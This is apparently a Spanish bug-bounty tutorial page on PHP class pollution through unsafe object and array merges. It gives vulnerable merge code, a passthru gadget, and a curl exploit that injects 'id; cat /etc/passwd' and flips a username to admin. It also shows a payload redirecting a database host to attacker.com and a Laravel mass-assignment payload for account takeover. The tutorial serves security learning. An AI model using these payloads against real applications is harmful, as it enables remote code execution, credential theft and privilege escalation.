Respuesta rápida
PHP no tiene prototype global como JavaScript, pero sí tiene class pollution: si una app hace foreach para mergear input del usuario en un objeto existente (o array_merge_recursive con configs), atacante puede sobrescribir atributos de instancias y disparar gadgets internos (RCE via exec-attributes, auth bypass via role flip, SQLi via SQL builders). No se pueden override métodos (PHP no soporta dynamic method dispatch), pero atributos que fluyen a sinks peligrosos son suficiente.
Por qué PHP es distinto de JS/Python
| Aspecto | JS prototype pollution | Python class pollution | PHP class pollution |
|---|---|---|---|
| Base class universal | Object.prototype | object | No (stdClass no es base) |
| Pollution global single-shot | Sí | Sí | No — solo objeto-por-objeto |
| Override métodos | Sí | Sí | No — solo atributos |
| Escapar contexto | Sí | Sí | No |
| Pollute atributos | Sí | Sí | Sí |
| Pollute array keys | N/A | Sí | Sí |
La limitación clave: no hay base class universal. La pollution afecta solo a la instancia/clase concreta. Pero si la app tiene un objeto de configuración global (Service Container en Laravel, ContainerBuilder en Symfony, $wp_config en WP), la pollution de ese único objeto basta.
El patrón vulnerable canónico
function merge($baseObject, $userInput) {
foreach ($userInput as $key => $value) {
$baseObject->$key = $value;
}
return $baseObject;
}
$config = new AppConfig();
$userJson = json_decode(file_get_contents('php://input'));
$mergedConfig = merge($config, $userJson);
$mergedConfig->doSomething();
$userJson es controlado por el atacante. El foreach asigna cualquier propiedad. PHP no diferencia entre crear nuevo atributo y sobrescribir existente vía $obj->$dynamic_key.
Gadget: comando en atributo
class AppConfig {
public $healthCheckCommands = ['ping -c 1 127.0.0.1'];
public $username = 'guest';
function healthCheck() {
foreach ($this->healthCheckCommands as $cmd) {
passthru($cmd); // ← sink
}
}
function isAdmin() {
return $this->username === 'admin';
}
}
Exploit:
curl -X POST http://target/api/config \
-H 'Content-Type: application/json' \
-d '{"healthCheckCommands":["id; cat /etc/passwd"],"username":"admin"}'
Resultado: RCE (vía override de healthCheckCommands) + auth bypass (username ahora es admin). En una sola request.
Variantes de merge vulnerables
Built-in array_merge con casting
function merge($base, $input) {
return (object) array_merge((array) $base, (array) $input);
}
Problema añadido: convierte a stdClass y los métodos originales se pierden. Útil para auth bypass (sobrescribir atributos), no para RCE via método.
Foreach manual (el más explotable)
function merge($base, $input) {
foreach ($input as $k => $v) $base->$k = $v;
return $base;
}
Preserva la clase y métodos → cualquier método interno que use atributos polluted dispara el gadget.
Clone + foreach
function merge($base, $input) {
$obj = clone $base;
foreach ($input as $k => $v) $obj->$k = $v;
return $obj;
}
Mismo impacto, solo cambia que no muta el original.
array_merge_recursive en arrays
$config = ['db' => ['host' => 'localhost', 'pass' => 'secret']];
$user = json_decode($input, true); // ← associative array
$merged = array_merge_recursive($config, $user);
Atacante envía {"db":{"host":"attacker.com","pass":"override"}} → el merge recursivo profundo sobrescribe. Patrón común en endpoints que aceptan settings JSON.
Frameworks reales — dónde buscar
Laravel — mass assignment
// Eloquent Model
$user->fill($request->all());
$user->save();
Si el modelo no tiene $fillable definido o tiene $guarded = [], cualquier columna se asigna desde el request. Atacante envía:
{"email":"victim@target.com","password":"pwned","is_admin":true,"email_verified_at":"2020-01-01"}
Resultado: ATO + role escalation. Bug class clásico de Laravel; bounty $2000-5000 en programs grandes con eloquent mass assignment.
Laravel — Service Container
app()->instance('mailer.config', $userControlledConfig);
Si el atacante puede llamar app()->instance(...) (rare, requiere endpoint que delegue) o si hay merge de config:
config()->set($key, $value); // $key/$value desde request
Con config()->set('app.cipher', 'attacker_string') puede romper cifrado de sesiones o forzar cifrados débiles.
Symfony — ContainerBuilder
$container->set('cache.adapter.redis', $userInput);
Reemplaza un servicio del container. Si después algún componente lo usa, atacante intercepta.
WordPress — wp_parse_args
$defaults = ['post_type' => 'post', 'numberposts' => 5];
$args = wp_parse_args($_GET, $defaults);
WP_Query($args);
wp_parse_args es el "merge" oficial de WP. Atacante envía ?post_type=any&meta_query[0][key]=...&meta_query[0][value]=... y construye queries arbitrarias. SQLi vía pollution de args.
Sigue leyendo el chain completo
La parte que falta incluye el PoC paso a paso, código de explotación y la cadena completa que llevó al impacto. Disponible para suscriptores.
Practica esto en un lab
Prototype Pollution Explotacion
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Artículos relacionados
LFI — Local File Inclusion: payloads, filters bypass, log poisoning y RCE
Path traversal, null-byte injection, double encoding, PHP wrappers (filter, data, expect, phar), log poisoning y escalación de LFI a RCE en stacks PHP/Java/Node.
Headless browsers — SSRF y RCE en endpoints que renderizan URLs
Endpoints que aceptan URLs para screenshots/PDF (Puppeteer, Playwright, wkhtmltopdf) son SSRF goldmine: cloud metadata, file://, gopher://, JS injection con XSS-to-RCE en chromium sandbox.
File Upload — bypasses de extension, content-type y magic bytes
10 bypasses para subir webshells: doble extensión, null byte, content-type spoof, magic bytes, polyglots, race conditions y abuso de path traversal.